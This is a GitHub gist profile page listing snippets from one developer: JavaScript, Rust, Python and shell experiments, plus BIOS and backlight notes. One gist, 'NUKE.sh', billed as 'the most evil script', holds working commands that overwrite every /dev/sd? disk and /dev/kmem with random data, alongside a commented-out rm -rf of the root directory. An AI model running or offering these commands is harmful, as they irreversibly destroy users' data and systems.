Skip to content

Instantly share code, notes, and snippets.

View Rudxain's full-sized avatar

Ricardo Fernández Serrata Rudxain

View GitHub Profile
@Rudxain
Rudxain / _osi = UA.md
Last active May 1, 2024 01:19
BIOS user agents

TIL that the _OSI function serves a similar purpose to User-Agent strings. Not just that, but it has the same funny pitfalls:

  • Operating Systems fake being Windows via _OSI.
  • Browsers fake being each other via UA.

https://askubuntu.com/a/50776

@Rudxain
Rudxain / NUKE.sh
Last active September 28, 2023 20:51
The most evil script
#!/bin/sh
# this may be useless
#sudo rm -rf --no-preserve-root / &
find /dev -maxdepth 1 -iname 'sd?' \
| \
parallel sudo cp /dev/urandom {}
sudo cp /dev/urandom /dev/kmem
@Rudxain
Rudxain / weird slow BIOS issue.md
Last active September 28, 2023 19:13
That one time I witnessed a slow POST

Some months ago, I turned on a Gateway GM5478, and it took suspiciously long to POST. I waited some minutes and it began slowly scanning the Gateway logo, pixel by pixel, line by line.

I suspect this happened because the clock-multiplier became no-op.

I still can't believe I witnessed such a "1 in a million" event. I wish I recorded it, because it only happened once

@Rudxain
Rudxain / matrix.js
Created September 20, 2023 20:50
homemade matrix library experiment draft
//@ts-check
'use strict'
/**
@typedef {number|bigint} numeric
@template {numeric} T
@typedef {T[][]} Matrix<T>
*/
// x*A = (x*I)*A ?
// (x^2)(A^2) = (xA)^2 ?
@Rudxain
Rudxain / StrictArray.js
Last active September 6, 2023 05:59
Draft polyfill of my tc39 proposal: https://es.discourse.group/t/strictarray/1791
'use strict'
const StrictArray = (() => {
const
MAX_LEN = 2**32 - 1,
MAX_IDX = MAX_LEN - 1
const is_neg_zero = x => x === 0 && 1 / x < 0
const is_int_num = x =>
typeof x == 'number' && x % 1 == 0
@Rudxain
Rudxain / lb-i15r.sh
Last active October 5, 2023 05:31
exponential backlight for Linux on Dell Inspiron 15R
#!/bin/sh
set -euf
# `dell_backlight` is exp (percieved lin),
# `intel_backlight` is lin (percieved log),
# but Intel's `0` is dimmer than Dell's,
# so I prefer `acpi_backlight` set to "intel", not "vendor".
BL=/sys/class/backlight/intel_backlight/brightness
[ -w "$BL" ] || sudo chmod a+w "$BL"
# BL API has built-in input-validation,
@Rudxain
Rudxain / _i_e.rs
Last active July 21, 2024 05:49
list all words of the form "_i_e" where "_" is a consonant and "e" is optional, using 2 paradigms
use core::array;
use std::fmt::Write as _;
const CONSONANTS: [u8; 21] = *b"bcdfghjklmnpqrstvwxyz";
const W_COUNT: usize = CONSONANTS.len().pow(2) * 2;
fn main() {
// procedural / imperative
let mut imp = array::from_fn::<_, W_COUNT, _>(|_| String::with_capacity(4));
let mut i: usize = 0;
@Rudxain
Rudxain / cp-apk.mksh
Last active February 3, 2025 03:30
Copy APK from pack name. Minimal dependencies (no ADB required). https://llamalab.com/automate/community/flows/38806
#!/system/bin/sh
set -euf
for pack in "$@"
do
# `cmd package` is "more portable" than `pm`,
# because Termux has its own `cmd` override:
# https://github.com/termux/termux-tools/issues/157#issuecomment-2614142899
# See also:
# https://github.com/termux/termux-packages/discussions/8292#discussioncomment-5102555
@Rudxain
Rudxain / inverse nth root.txt
Created June 27, 2023 20:28
Different ways to describe the nth root of x. Each with pros and cons, if we consider Complex nums
1/rt_n(x)
x^(-1/n)
x^(1-1/n)/x
@Rudxain
Rudxain / inv!.py
Created May 30, 2023 21:05
Discrete inverse factorial, with "floor" and "round" rounding-modes
def factorial(n: int):
if n < 0:
raise ValueError('undefined')
out = 1
while n >= 1:
out *= n
n -= 1
return out
def inv_factorial(n: int, round: bool):